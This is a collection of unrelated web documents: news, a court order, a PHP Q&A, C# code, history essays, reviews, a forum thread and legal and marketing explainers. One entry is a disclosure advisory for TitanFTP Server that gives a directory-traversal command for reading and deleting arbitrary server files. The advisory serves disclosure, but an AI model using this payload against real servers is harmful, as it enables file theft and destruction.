Also on rt.com Parents shocked as UK schools teach 6-10yo kids to touch their ‘private parts’ in beds & showers
“You need to have a talk with Nathan about boundaries,” Putnam said the teacher told her. The guardian pleaded for understanding, arguing that “if you don’t understand how autism works, you’ll think he’s acting out or being difficult. But that’s not the situation.” But her pleas apparently fell on deaf ears – less than a month later, the boy’s overly affectionate gestures had gotten him in hot water with state authorities.
“It was disclosed that it will go on his record for the rest of his life that he is a sex offender,” the boy’s horrified grandmother, Debi Amick, wrote in a Facebook post. “He shouldn’t be treated like this. The kid doesn’t even understand what sex is,” she elaborated to local media.
What do you do when a 5 year child is being labeled a sexual predator and accused of sexual harassment by the school system?
The principal insisted school staff had reprimanded the boy repeatedly, and a spokesperson for Hamilton County Department of Education claims “school personnel are required to report concerns regarding children to the Department of Child Services.”
Also on rt.com Latin America’s first school for transgender children looks to expand
Nathan has been removed to a special education class with a different teacher, but the damage may have been done – disciplinary measures can remain on a child’s record for their entire secondary school career, even if he isn’t blacklisted as a sex offender.
Like this story? Share it with a friend! | 2023-08-06T01:26:51.906118 | https://example.com/article/8928 |
FOR PUBLICATION
UNITED STATES COURT OF APPEALS
FOR THE NINTH CIRCUIT
FORD MOTOR COMPANY,
Plaintiff-Appellee,
v.
JOE R. TODECHEENE, as the
surviving natural parent of Esther
Todecheene, deceased; MARY No. 02-17048
TODECHEENE, as the surviving
natural parent of Esther D.C. No.
Todecheene, deceased, CV-02-01100-PGR
Defendants-Appellants,
and
NAVAJO NATION DISTRICT COURT;
LEROY S. BEDONIE, The Honorable,
Defendants.
6669
6670 FORD MOTOR CO. v. TODECHEENE
FORD MOTOR COMPANY,
Plaintiff-Appellee,
v.
JOE R. TODECHEENE, as the
surviving natural parent of Esther No. 02-17165
Todecheene, deceased; MARY
D.C. No.
TODECHEENE, as the surviving
natural parent of Esther CV-02-01100-PGR
Todecheene, deceased, AMENDED
Defendants, ORDER
and
NAVAJO NATION DISTRICT COURT;
LEROY S. BEDONIE, The Honorable,
Defendants-Appellants.
Filed June 4, 2007
Before: Barry G. Silverman, William A. Fletcher, and
Johnnie B. Rawlinson, Circuit Judges.
ORDER
The order filed February 1, 2007, is hereby amended. The
entire text shall be replaced with the following text.
Joe and Mary Todecheene’s Petition for Rehearing is
GRANTED in part.
The opinion in this case, Ford Motor Company v. Todech-
eene, 394 F.3d 1170 (9th Cir. 2005) is WITHDRAWN.
The tribal court did not “plainly” lack jurisdiction under the
second exception, recognized in Montana v. United States,
FORD MOTOR CO. v. TODECHEENE 6671
450 U.S. 544, 565 (1981), to the general rule that tribes do not
have jurisdiction over non-members. See Boozer v. Wilder,
381 F.3d 931, 935 (9th Cir. 2004) (requiring exhaustion
unless the tribal courts plainly lack jurisdiction). As such, the
appeal is stayed until Ford exhausts its appeals in the tribal
courts. The panel retains jurisdiction over the appeal. Ford
will be deemed to have exhausted its tribal remedies once the
Navajo Nation Supreme Court either resolves the jurisdic-
tional issue or denies a petition for discretionary interlocutory
review pursuant to Navajo Nation Code tit. 7, § 303 (“The
Supreme Court [of the Navajo Nation] shall have the power
to issue any writs or orders . . . [t]o prevent or remedy any act
of any Court which is beyond such Court’s jurisdiction.”).
The parties shall notify this court no later than 15 days from
the date the Navajo Nation Supreme Court either denies a
petition for discretionary review, or, if the Navajo Nation
Supreme Court grants such a petition, the issuance of its opin-
ion resolving the jurisdictional question.
The petitions for rehearing en banc filed by Joe and Mary
Todecheene and the Navajo Nation are DENIED as moot,
and the petitions for rehearing and rehearing en banc filed by
Ford Motor Company are DENIED.
PRINTED FOR
ADMINISTRATIVE OFFICE—U.S. COURTS
BY THOMSON/WEST—SAN FRANCISCO
The summary, which does not constitute a part of the opinion of the court, is copyrighted
© 2007 Thomson/West.
| 2024-03-28T01:26:51.906118 | https://example.com/article/8133 |
Q:
How to merge array
i have two arrays like
Array1
(
[0] => 1
[1] => 2
[2] => 3
)
Array2
(
[0] => a
[1] => b
[2] => c
)
i want make
Array3 Like
(
[0] => ([0]=>1 [1]=>a)
[1] => ([0]=>2 [1]=>b)
[2] => ([0]=>3 [1]=>c)
)
A:
Using SPL's MultipleIterator
$arr1 = [1, 2, 3];
$arr2 = ['a', 'b', 'c'];
$mi = new MultipleIterator();
$mi->attachIterator(new ArrayIterator($arr1));
$mi->attachIterator(new ArrayIterator($arr2));
$result = array();
foreach($mi as $details) {
$result[] = $details;
}
var_dump($result);
| 2024-01-23T01:26:51.906118 | https://example.com/article/5524 |
Last week, photographer Jimi Giannatti attended a Trump rally in San Diego, where protestors converged to denounce in particular the candidate’s deeply racist anti-Mexican stance. Trump’s supporters were ready for them, and armed with pepper spray.
A similar Trump event in San Jose last night has drawn national attention (and considerable worry from the typically anti-violence left) for violent behavior on the part of Trump’s opponents. But these photos show that both sides are resorting to increasingly brazen acts of violence. Giannatti described the scene to me over email:
What happened was ALL Trump protestors were forced across the street from the San Diego Convention Center and NO protestors were allowed near it. There was a HUGE police presence. This segregation of pro-Trumpers and anti-Trumpers continued all day until the Trump rally ended in the Convention Center - THEN a huge contingent of Trump supporters (mostly younger males) made their way unencumbered by the SDPD over across the train tracks and towards downtown and began harassing the anti-Trumpers who had been there peacefully all day - and I mean aggressively challenging them to fights, cursing, etc. All with the cops standing mere feet away from them with their backs turned. In my photo you see the aftermath to where some extremely passionate hispanic anti-Trumpers were defending their choice to protest Trump to the hating pro-Trumpers and were met by a sneak attack, completely acting in concert, spraying of pepper spray by the two guys in the pic. The pepper spray went everywhere - you cans see it’s direction bending in the shot by the strong winds that day - Several people, including myself, experienced an instant burning in our lungs an extreme burning to our eyes.
Giannatti adds that he “can say with certainty that I saw no anti-Trump violence”—though this week’s escalation shows that elements of both sides are willing to hurt one another.
Update—Photographer Eric Rosenwald captured a video of the pepper spray attack:
Update 2: A woman claiming to be the pepper spray victim in the second photo from the top wrote us to clarify that she was not there as a “goddamn dirty protestor,” but to support Donald Trump: “I have no idea who pepper sprayed me as I was just standing there drinking wine.” Presumably this is a case of friendly fire—pepper spray is not the most accurate weapon. | 2024-06-04T01:26:51.906118 | https://example.com/article/6181 |
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History unfortunately has been superseded in favour of flighty novels and trashy periodicals, with the result that the investigation and research into the ancient annals of cities and villages have been entirely neglected. It is sincerely to be hoped that this branch of the study will interest the present and the future generations and that they will continue to concern themselves with the history of the origin and rise of their ancient cities and towns and with the narratives of the hardships, enterprises, successes and misfortunes of their adventurous and intrepid ancestors. — JRB Jeejeebhoy, 1927.
If one were to think of a household name in Mumbai that has endured for over the last two centuries, it would most likely be Jeejeebhoy. There is no escaping the name in the city: it graces hospitals, schools, colleges, dharamshalas, and everything in between. And the person most associated with the name is Sir Jamsetjee Jejeebhoy (1783-1859), the famous philanthropist and opium merchant, who made his fortune in the Bombay Country Trade with China in the first half of the 19th century. Given his contributions, any namesake was bound to be burdened with his reputation.
Now imagine if Jeejeebhoy was your first name and last – the chances of being confused with the original Jeejeebhoy would surely double. Improbably, such a person did exist. Born in 1885, he was Jeejeebhoy Rustomjee Byramjee Jeejeebhoy, a scion of the Byramjee Jeejeebhoy family, then the leading industrialists of Bombay with a range of textile mills and heavy industries under their control.
With such a privileged background, Jeejeebhoy could have very well led a life of leisure and luxury. But he had other plans. For nearly four decades, from the 1920s to the late 1950s, he wrote numerous long and short pieces on Bombay and presented facets of its history to the public for the first time. Linking the past to the present, he was perhaps one of the first to be concerned with city heritage and its loss.
Practically everything about the city of Bombay and its history interested Jeejeebhoy and often provoked an article or two. It could be its famed mango trees, which not only had exquisite taste but also fruited twice a year, in May and December. Or the first time an elephant came to the city – Richard Bourchier, governor of Bombay from 1750 to 1760, was gifted an elephant by Peshwa Balaji Bajirao. The East India Company was so alarmed by the elephant’s food bill that the governor was asked to get rid of it forthwith. The first consignment of ice in Bombay (imported from Boston in 1834) interested Jeejeebhoy as much as the manufacturing of aerated waters (again from the 1830s). Subjects as diverse as keeping the Sabbath and the practice of witchcraft caught his attention. From describing the advent of moving pictures and complaining about the perennial problem of rash driving to remembering the long-forgotten first Indian judge of the High Court of Bombay and recalling the prevalence of slave trade in the city, Jeejeebhoy’s range was wide.
An early depiction of the Parsi Tower of Silence in Bombay from 'A Voyage to the East Indies' (London, 1772) by John Grose.
Jeejeebhoy went to St Xavier’s College for his undergraduate studies but did not bother to acquire a degree. After a brief stint at the London School of Economics, he turned to politics and joined the Congress in 1914. Upon entering public life, he preferred to be known as JRB Jeejeebhoy. A close associate of Sir Pherozeshah Mehta, Jeejeebhoy was aligned with the party’s liberal faction, which advocated a less confrontational policy against the British. By 1919, the National Liberal Federation had been formed in direct opposition to the Congress and its new leader, Mahatma Gandhi. Actively working against Gandhi’s campaigns, Jeejeebhoy took the attack to the enemy camp by writing a pamphlet titled Non-Co-operation: Its Pros and Cons in 1921. Though pushed to the sidelines by the charisma and public appeal of Gandhi, the National Liberal Federation continued to pursue its policies, and Jeejeebhoy was associated with them at least until the late 1930s.
But it was just as well that active politics did not consume him. It allowed him to devote his time to his first love: writing about the city of Bombay, its history and its heritage.
Jeejeebhoy was perhaps one of the first people to lament the rapid destruction of built heritage in the city. During his own lifetime, Bombay lost hundreds of structures built in the 19th century, including his birthplace, the famed Mazagaon Castle, which was the residence of Sir Jamsetjee Jeejeebhoy, his maternal great-grandfather. The destruction of the historical Police Court Building in Mazagon in a fire in 1942 resulted in a piece of nostalgic writing. The closure of iconic institutions, whether they were educational institutions like the Deccan College (in 1934) or judicial institutions like the Honorary Presidency Magistrate’s Courts (in 1947), troubled him, and he used the opportunity to talk about their history in the hope that others could be perpetuated. The Parsi community, to which Jeejeebhoy belonged, was an area of special interest to him. Not only was he concerned with their history, including their settling in Bombay from the 17th century and their achievements in numerous fields, he also documented the rapid cultural reforms that the community adopted during his lifetime.
Jama Pichori, the Parsi ceremonial dress.
Scouring decaying volumes of old Bombay newspapers, such as the Bombay Courier, the Bombay Gazette and the Bombay Saturday Review, Jeejeebhoy excavated nuggets of information, which he polished into entertaining articles. He was the first person to attempt a history of the law and judiciary in Bombay, which resulted in a corpus of writings that can serve as a standard reference on the subject. Crime and punishment held a great fascination for Jeejeebhoy. While he worked hard to rehabilitate released prisoners in the Bombay Presidency, he also traced the gruesome history of corporal punishments and executions in the city with a certain gusto. His magnum opus, Bribery and Corruption in Bombay (published in 1952), is concerned with the same subject.
Many of his Bombay writings appeared in the special Pateti and Nowroze issues of Anglo-Gujarati periodicals like the Sanj Vartaman Annual and Kaiser-i-Hind that have completely vanished from the public eye. He also wrote for the leading English newspapers of Bombay: the Times of India and the Bombay Chronicle. Though positioned on the opposite sides of the political spectrum, both dailies opened their columns to Jeejeebhoy gladly.
'Sanj Vartaman Annual', 1927 – photograph by Mr and Mrs J B Tarapore on the front cover. 'Sanj Vartaman Annual', 1948, featuring leading film actress Nirupa Roy on the front cover
During his lifetime, Jeejeebhoy enjoyed a reputation as “Bombay’s leading historian”, but after his death in 1960, his numerous writings gradually disappeared from public memory. Jeejeebhoy thus shared this fate with many of the subjects of his articles, who had long been forgotten until he wrote about them. And like them, Jeejeebhoy can also hope to enjoy a second lease of life through the works of 21st century writers.
JRB Jeejeebhoy’s select writings on the history of Bombay have been collected in a volume titled J R B Jeejeebhoy’s Bombay Vignettes: Explorations in the History of Bombay (edited with an introduction by Murali Ranganathan). Published by the Asiatic Society of Mumbai, it is priced at Rs 950.
All photos courtesy the Asiatic Society of Mumbai.
Also read:
‘He was the Google of Mumbai’: Foy Nissen’s photos reveal his intimate relationship with the city
The unlikely connection between a church in Bandra and a World War I memorial in Brighton | 2024-02-15T01:26:51.906118 | https://example.com/article/4995 |
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| 2024-04-21T01:26:51.906118 | https://example.com/article/5756 |
Celebrating the most successful and beautiful women in the UK, proving that beauty isn't just skin deep. These women are top class in their fields as well as being incredibly attractive, the whole package if you will. | 2024-05-28T01:26:51.906118 | https://example.com/article/9351 |
2001 Pacific motorcycle Grand Prix
The 2001 Pacific motorcycle Grand Prix was the thirteenth round of the 2001 Grand Prix motorcycle racing season. It took place on the weekend of 5–7 October 2001 at the Twin Ring Motegi.
500 cc classification
250 cc classification
125 cc classification
Championship standings after the race (500cc)
Below are the standings for the top five riders and constructors after round thirteen has concluded.
Riders' Championship standings
Constructors' Championship standings
Note: Only the top five positions are included for both sets of standings.
References
Category:Pacific motorcycle Grand Prix
Pacific
Pacific Motorcycle Grand Prix | 2024-02-16T01:26:51.906118 | https://example.com/article/5209 |
AP FACT CHECK: Trump’s false assurances on coronavirus
WASHINGTON (AP) — President Donald Trump persisted Monday in making false assurances about U.S. preparedness for the coronavirus outbreak and the prospects for a quick vaccine, or even cure.
In remarks at the White House and an evening rally in North Carolina, Trump reached for silver linings as the number of cases and deaths in the U.S. grew.
TRUMP: “We’re talking about a vaccine. Maybe a cure is possible. But we’re talking about a vaccine and they’re moving along very quickly, all of the pharmaceutical companies, are moving along very quickly.” — remarks before a meeting with Colombian President Iván Duque..
TRUMP: The U.S. may have a vaccine “relatively soon” and “something that makes you feel better … sooner.” — rally.
Advertisement
THE FACTS: That’s misleading, given the far more cautious pronouncements of federal public-health officials and scientists. They say a vaccine is probably more than a year away at best and there are no special treatments for COVID-19. The notion of a quick “cure” is not in their vocabulary as they focus on trying to help people avoid getting the disease in the first place.
What’s actually happening: Studies have begun in COVID-19 patients in parts of the world to see if certain antiviral medications could help treat the infection.
Today, there are no proven treatments. In China, scientists have been testing a combination of HIV drugs against the new coronavirus, as well as an experimental drug named remdesivir that was in development to fight Ebola. In the U.S., the University of Nebraska Medical Center also began testing remdesivir, in some Americans who were found to have COVID-19 after being evacuated from a cruise ship in Japan.
It’s not known how soon such studies will answer whether any of the drugs help. And many patients recover without needing any treatment. The biggest concern is how to help the fraction who become severely ill.
___
TRUMP: The U.S. is “ranked by far No. 1 in the world for preparedness” — rally.
He’s referring, as he did explicitly last week, to a report coauthored by Johns Hopkins Centers for Health Security. Hopkins experts on Monday said the U.S. got a “grade” that overall was highest by a few points among other high-income countries — Britain, Canada, Australia, countries in northern Europe — that are all at about the same level of preparedness.
But the report’s overall finding: “No country is fully prepared for an epidemic or pandemic,” cautioned Hopkins’ Jennifer Nuzzo, who coauthored the report.
It’s difficult to say from the report that a country that scores 2 points higher than another is going to fare much better, she added.
Now that the new coronavirus is spreading around the world, Nuzzo’s biggest concern is the readiness of health care systems around the globe. There’s been a lot of work in recent years to shore up public health capacity and strengthen laboratories and surveillance for dangerous new outbreaks.
But she said her report uncovered that few have paid attention to whether they have enough doctors and nurses, if those workers are seeing patients in a way that’s safe and if they have enough of the masks and other gear to safely do their jobs.
“We have seen time and time again in outbreaks that systems, that health systems that are unprepared often serve as points that amplify transmission to the community,” she said.
In the U.S., the biggest worry is access to that health care. “If fear of the cost of health care is a deterrent, that could create a bad situation where people stay at home, potentially infecting others.”
___
AP Medical Writer Lauran Neergaard contributed to this report.
___
EDITOR’S NOTE — A look at the veracity of claims by political figures. | 2024-03-03T01:26:51.906118 | https://example.com/article/8007 |
Monday, May 06, 2019
THEATER: HANS CHRISTIAN ANDERSEN'S LIFE WAS NO FAIRY TALE
Proving how rich and varied the theater world is in New York City, the Ensemble for the Romantic Century is celebrating its 18th season (still high off the critical acclaim for their show Van Gogh's Ear) and yet somehow I've never seen any of their 40 or so productions. The company is known for creating atypical bio-plays that combine live classical music with the story of historical figures such as Emily Dickinson, Arturo Toscanini and the painter Vincent Van Gogh. In the case of the Danish writer most famous for fairy tales like "The Emperor's New Clothes," "The Snow Queen" and "Thumbelina," they're even incorporating puppetry.
Owning an insane amount of folk and fairy tales (not to mention loving puppetry), I am perhaps the ideal adult audience member for this show. Sadly, it's a noble failure of the sort one would expect of a bio-play celebrating an historical figure. The odd twists and turns of Andersen's celibate life, the fine performances of pieces by Britten and Purcell among others and the sheer commitment of all involved make this a noble failure, but a failure nonetheless.
Written by Eve Wolf and directed by Donald T. Sanders, the show tells of Andersen's life from start to finish, making every dutiful stop along the way. Born into poor circumstances, Andersen hightailed it to Copenhagen at the age of 14 and lucked into a spot at the Royal Danish Theatre. That led to Hans impressing the head enough to land the lad a thorough education, funded by King Frederick VI no less. And up and up he went; rubbing shoulders with the high and mighty; writing pieces of theater, poetry, travelogues and yes fairy tales, the stories which slowly but surely made him world famous.
Andersen might share dinner with Charles Dickens but he never found similar success in his private life. He shunned his mother and sister as undesirably lower class, he yearned for acceptance from the aristocratic family that semi-adopted this stray of a child but never took him to their breast and he chastely yearned for men and women who clearly did not reciprocate his affections. Gay? Straight? Bisexual? The one thing most biographers agree on is that Hans died a virgin.
Frustrated sexual desire, social climbing, world fame eclipsed by private shame -- Hans Christian Andersen was a complicated man. While the details of his life are revealed, the play never turns them into dramatic fare. Most of his fairy tales are glancingly referenced, with only "The Ugly Duckling" (as autobiographical as it gets for him) and "The Little Match Girl" incorporated more fully into the show. Hans obviously identified with the maligned creature who blossomed into a swan. And the inexplicable climax of the play involves a silent reenactment of that heart-tugging fairy tale about a beggar girl freezing to death on New Year's Eve.
Bald statements about the life of Andersen are interrupted by so-so puppetry or fine performances of classical pieces arranged for two pianos and percussion along with a counter tenor. Arvo Pärt seems the odd duck here, alongside a program dominated by Purcell, Britten and one apiece by Igor Stravinsky and Samuel Barber. Still, that deeply religious Estonian composer is a personal favorite and a pleasure to hear. Nonetheless, I struggled to make any connection between the music and the story of Andersen's life, turning them into welcome but puzzling respites from the dramatics.
A better show would have the fairy tales revealing the soul of this sad writer more effectively with the music underscoring the action with purpose, rather than the randomness in selection I felt here. While the puppetry is by and large forgettable, the musical performances are solid. And the acting by leads Jimmy Ray Bennett and Randall Scotting (who also doubled as the singer at the performance I saw) were solid. Bennett showed Andersen's insecure name-dropping and craving for acceptance without making him too pathetic, no small task. Scotting (in multiple roles but especially the object of affection Edvard) was just as assured.
Yet even the ending is bungled, with a perfectly fine last image returning us to where the show began trampled on by an unnecessary coda declaring that the fairy tales of Hans Christian Andersen would live forever. Yes, we know. A better show would make that point without having to announce it so baldly.
Thanks for reading. Michael Giltz is the creator of BookFilter, a book lover’s best friend. It’s a website that lets you browse for books online the way you do in a physical bookstore, provides comprehensive info on new releases every week in every category and offers passionate personal recommendations every step of the way. He’s also the cohost of Showbiz Sandbox, a weekly pop culture podcast that reveals the industry take on entertainment news of the day with top journalists and opinion makers as guests. It’s available for free on iTunes. Visit Michael Giltz at his website. Download his podcast of celebrity interviews and his radio show, also called Popsurfing and also available for free on iTunes. | 2024-03-29T01:26:51.906118 | https://example.com/article/2543 |
Author
Topic: 30AC Coin Pack-Ins (Read 5468 times)
I'd accept that if it were everywhere, especially in the toy aisle, but JUST Star Wars going up doesn't cut the mustard for oil/gas as an excuse with me... And like I said, with the stores willing to run sales that put figures below $5 (and run them for extended periods of time) and still have them be quite profitable, I really don't buy the price increases... It's retail capitalizing on something it deems popular yet, not inflation, at least to me anyway.
Now if you looked around the store and saw that Lego sets spiked, GI Joe, Marvel, Barbie, etc., all going up in price... And if you went to the store and tupper ware, or pens, or toothbrushes, or whatnot went up in price in great jumps, I'd buy into it... $6.99 has been here for SW though and it was really a price jack at that time too... For ROTS I saw $4.99 to $5.89... It varied. $6.99 at KM and KB though.
In my area at least one Target is $5.89 for some reason, others $6.99 and slightly less (WM). I know others have those anomylous Targets too, sometimes more frequent or that's their standard for the area... It's not my area's unfortunately.
Like I said, I'd agree if this wasn't focused in the toy aisle on one product line... If this was measurable around other products and things... My distributors in plastics manufacturing all tell me though that the cost increases are greatly exagerrated in how they will impact the consumer, at least from their perspectives. With this just seemingly being Star Wars, I'm going to say the simpler explanation is probably the right one in that this is just retail/Hasbro pushing the envelope on price to me.
Retail and Hasbro have figured out that collectors can be "pushed" to pay close to $7 for figures. TSC figures were selling well at $5.88 at Wallyworld - they bumped up the price to $6.63 and the rate of sale seems to be the same (judging by the number of figures on the pegs on store visits).
Did the price of plastic jump that much in a few weeks? Probably not, and if it did, that's a real quick turnaround time for a huge toy company.
I'd rather my figures move beyond 1983 and have knee, elbow, and wrist joints become a standard in the line... Pack-ins like the mini holos cost more than people realize I think, and coins I can't imagine will be much better... I have no interest in pack-in garbage anymore, I would prefer the quality of the toys themselves reach a higher standard considering the retail price they now cost... Static legs and arms just ain't cuttin' the mustard anymore.
I agree.
Or like MetalJedi said, some sort of character gimmick like with Marvel would be great because you can get an actual figure built from it, or God forbit - a nice accessory!!!
I'm in the same boat as many of you - I'd rather have either cheaper figures, more articulation/quality in the figures themselves, or both than have a pack in. That being said, since pack ins seem to be part of the line now, I don't mind the coins. Kind of a nice nod to the vintage POTF days, and if we're going to have a pack in, this doesn't sound so bad to me.
If a pack in is going to be part of the deal, I like the coin idea. I liked the Freeze Frames as well, and actually pull them out and view them sometimes (we have an old slide viewer). Coins are much preferable to holos, but I would ultimately rather get more accessories or props with the figure. Background droids, fuel tanks, console parts, just about anything to fill in the scenes.
I actually like the idea of the coins as a pack-in (runs for cover). For some reason Hasbro feels like they MUST put a pack-in of some kind. I am assuming to spice up the packaging? You know how every product has to say something like "New and Improved!" I think this is Hasbro's version of that.
But sure if they wanted to make every figure SA or give it an accessory that would be much nicer. I agree. But it ain't gonna happen. They love those pack-ins and that's that.
Since have been doing themed waved, a themed accesory woudl make sens e(like the 3 Tatooine figures with the bar table.) The Hoth figures could have had crates and containers found in the rebel base or they coudl do themed stands insteand of holos and generic stands....Carkoon wave with a generic Jabba Palace floor tile stand, or even Tatooine sandy terrain stand/tile. Nah, we get coins, holos, the ever popular Flashback card things...i.e. crap for the junk box.
Logged
"Modern Collectors are just Walmart Shoppers" -The new SW "Fan Club" President
They are right, everything is big in Texas, even the defeats...The Buckeyes are (still) #1!!!!!!!! | 2024-07-31T01:26:51.906118 | https://example.com/article/1427 |
Cross-sectional relationship between dietary carbohydrate, glycaemic index, glycaemic load and risk of the metabolic syndrome in a Korean population.
Little is known about the effect of dietary carbohydrate, glycaemic index (GI) and glycaemic load (GL) on the risk of the metabolic syndrome, especially in populations with white rice as the staple food. The study examined the cross-sectional relationship between carbohydrate, GI, GL and risk of the metabolic syndrome. There were a total of 910 middle-aged Korean adults. Dietary carbohydrate, GI and GL were determined by an interview-administered FFQ. The metabolic syndrome was defined using the modified criteria published in the Third Report of the National Cholesterol Education Program Adult Treatment Panel III. The risk of developing the metabolic syndrome was positively related to dietary carbohydrate (P for trend = 0.03), GI (P for trend = 0.03) and GL intakes (P for trend = 0.02) in women after adjusting for potential confounding variables. Among the components of developing the metabolic syndrome, the risk of high TAG and low HDL-cholesterol were positively related to high GI and GL intakes in women. The risk of developing the metabolic syndrome was considerably higher in the highest quintiles of carbohydrate (OR 6.44; 95 % CI 2.16, 19.2), GI (OR 10.4; 95 % CI 3.24, 33.3) and GL intakes (OR 6.68; 95 % CI 2.30, 19.4) than in the lowest quintiles among women with a BMI >/= 25 kg/m2. However, there was no difference in risk across quintiles of carbohydrate, GI and GL among women with a BMI < 25 kg/m2. In conclusion, both the quantity and quality of carbohydrate intake has a positive relationship with the risk of the metabolic syndrome in women but this relationship was dependent on the BMI level. | 2024-02-10T01:26:51.906118 | https://example.com/article/1417 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Cofoundry.Domain.Data;
using Cofoundry.Domain.CQS;
using Cofoundry.Core;
using Microsoft.EntityFrameworkCore;
namespace Cofoundry.Domain.Internal
{
/// <summary>
/// Common mapping functionality for PageSummaries
/// </summary>
public class PageSummaryMapper : IPageSummaryMapper
{
private readonly CofoundryDbContext _dbContext;
private readonly IQueryExecutor _queryExecutor;
private readonly IAuditDataMapper _auditDataMapper;
private readonly ICustomEntityDefinitionRepository _customEntityDefinitionRepository;
public PageSummaryMapper(
CofoundryDbContext dbContext,
IQueryExecutor queryExecutor,
IAuditDataMapper auditDataMapper,
ICustomEntityDefinitionRepository customEntityDefinitionRepository
)
{
_dbContext = dbContext;
_queryExecutor = queryExecutor;
_auditDataMapper = auditDataMapper;
_customEntityDefinitionRepository = customEntityDefinitionRepository;
}
/// <summary>
/// Finishes off bulk mapping of tags and page routes in a PageSummary object
/// </summary>
public virtual async Task<List<PageSummary>> MapAsync(ICollection<Page> dbPages, IExecutionContext executionContext)
{
var ids = dbPages
.Select(p => p.PageId)
.ToArray();
var routes = await _queryExecutor.ExecuteAsync(new GetPageRoutesByIdRangeQuery(ids), executionContext);
var pageTags = await _dbContext
.PageTags
.AsNoTracking()
.Where(p => ids.Contains(p.PageId))
.Select(t => new
{
PageId = t.PageId,
Tag = t.Tag.TagText
})
.ToListAsync();
var pages = new List<PageSummary>(ids.Length);
foreach (var dbPage in dbPages)
{
var pageRoute = routes.GetOrDefault(dbPage.PageId);
EntityNotFoundException.ThrowIfNull(pageRoute, dbPage.PageId);
var page = new PageSummary()
{
FullPath = pageRoute.FullPath,
HasDraftVersion = pageRoute.HasDraftVersion,
HasPublishedVersion = pageRoute.HasPublishedVersion,
PublishDate = pageRoute.PublishDate,
PublishStatus = pageRoute.PublishStatus,
Locale = pageRoute.Locale,
PageId = pageRoute.PageId,
PageType = pageRoute.PageType,
Title = pageRoute.Title,
UrlPath = pageRoute.UrlPath
};
page.AuditData = _auditDataMapper.MapCreateAuditData(dbPage);
if (!string.IsNullOrWhiteSpace(dbPage.CustomEntityDefinitionCode))
{
var customEntityDefinition = _customEntityDefinitionRepository.GetByCode(dbPage.CustomEntityDefinitionCode);
page.CustomEntityName = customEntityDefinition.Name;
}
page.Tags = pageTags
.Where(t => t.PageId == page.PageId)
.Select(t => t.Tag)
.ToArray();
pages.Add(page);
}
return pages;
}
}
}
| 2024-06-06T01:26:51.906118 | https://example.com/article/9154 |
Accensus Security Advisory L-01 TitanFtp Server Arbitrary File Download/Delete
Details
=============
Product: TitanFTPd
Security-Risk: high
Remote-Exploit: maybe, assuming anonymous ftp access
Local-Exploit: yes
Vendor URL: http://www.southrivertech.com/
Found By: Bill Finlayson
http://www.accensussecurity.com
Affected: Versions 8.10.1125 and likely previous
Issue: the comb command is susceptible to a directory traversal attack which will allow downloading of arbitrary files on the server and deletion of arbitrary files on the server
Details: quote comb a ..//..//..//..//b
puts contents of 'b' in the file in the users home directory called 'a' and then deletes file b
Status: Submitted to Vendor 6/14/10 fixed 6/15/10
| 2023-08-20T01:26:51.906118 | https://example.com/article/4675 |
Article No. 205
Customer Psychology Findings, by James Larsen, Ph.D.
Price Framing and Purchase Intentions
Research explores the interactions of price framing and couponing.
Which of these choices seems more attractive:
A $20,000 automobile reduced 5%.
A $20,000 automobile reduced $1,000.
A 50 cent bottle of soda reduced 50%.
A 50 cent bottle of soda reduced 25 cents.
Executives worry about things like this. They invariably stare for long periods at blank pages destined to become print ads, moving text and images around hoping to gain the maximum effect, and price information is one element that bedevils them the most. You recognized, no doubt, in the examples listed above, that each item of the pairs was identical, yet the attraction of each differed. Gaining maximum attraction for a product is the goal for business owners, and it was also the goal of a research study conducted by Shih-Fen Chen from Kansas State University.
Chen tested these elements on a sample of 119 undergraduate business students by asking them to react to promotions for low-priced floppy disks and high-priced computers. He compared their reactions and arrived at a set of recommendations that confirm some of our current practices and offer some new insights. Here are Chen's recommendations concerning price comparisons:
For a relatively high-priced product with a small decrease in price, ads should list both the regular price and the dollar amount of the reduction.
For a relatively high-priced product with a large decrease in price, ads should list the regular price, the dollar amount of the reduction, and the percentage amount of the reduction.
For a relatively low-priced product with a large decrease in price, ads should list the regular price and the percentage amount of the reduction.
For a relatively low-priced product with a small decrease in price, Chen found three patterns that work well: 1) listing the regular price and the dollar amount of the reduction, 2) listing the regular price and the percentage amount of the reduction, and 3) combining all three elements, regular price, dollar amount, and percentage amount of the reduction in the same ad.
Chen also found interesting effects comparing coupon promotions directed at select customers with print ads directed at everyone: Coupons elicited customer attitudes of privilege and exclusivity. They enhanced the value of the discount, increased purchase intentions, and they counteracted many of the negative attitudes stimulated when discounts were offered through print ads to everyone.
Print ads elicited suspicions of retailer manipulation. Some people suspected the discount represented a decline in the regular price dressed up as a promotion. Others suspected the retailer had recently raised the regular price to an inflated level only to lower it as a promotion to its normal level. Finally, some people suspected a decline in quality which would account for the lowered price.
For the customer, the problem is one of giving meaning to the business owner's actions. Coupons for selected subgroups are more likely to be explained as an expression of gratitude by the retailer toward a valued customer. Chen believes this explains the positive results his coupon investigation revealed, and he recommends you use them.
Chen also noticed a curious effect when he examined purchase intentions. Although people clearly preferred some ads over others, this attraction usually did not affect their purchase intentions. New customers would not be buying these products, only the customers who intended to buy them anyway. The effect of the ads would be to redistribute these customers, enticing them to favor one retailer over another, and this brings to mind an old selling rule: lead with need.
Ads that emphasize price while neglecting to highlight reasons people need the products do little to encourage new customers to try them. Markets won't expand unless ads generate this interest, and isn't that the point of advertising? | 2023-11-16T01:26:51.906118 | https://example.com/article/1310 |
What Happens to the Engagement Ring in a Broken Engagement?
A broken engagement can be a very painful and confusing experience. After you made the choice that you were ready for marriage and it didn't happen, the aftermath is very uncertain. Aside from the emotional distress, you must make a decision about who keeps the engagement ring. Courts vary on this issue, but the answer primarily depends on how the specific court classifies the gift, and, sometimes, on the reasons behind the broken engagement.
Engagement Ring Laws: Gifts, Conditional Gifts or Compensation
There are generally three ways that courts can classify engagement rings, either as outright gifts that cannot be revoked, as conditional gifts that are dependent upon completion of a marriage ceremony, or as compensation (which cannot be returned).
Treating Engagement Rings as a Gift
The law generally requires three elements for an item to be considered a gift that cannot be revoked:
The giver's intent to give the item as a gift;
The giver's actual giving of the gift to the receiver; and
The receiver's acceptance of the gift.
In most cases involving revoked gifts (where all three requirements were shown), courts have held that the item involved was a gift, and the receiver got to keep the item.
Treating Engagement Rings as Conditional Gifts
A conditional gift is one which is based on some future event or action taking place. If the event doesn't occur, then the gift-giver has the right to get the gift back. Most courts classify engagement rings as a conditional gift and award the engagement ring to the giver in broken engagement cases.
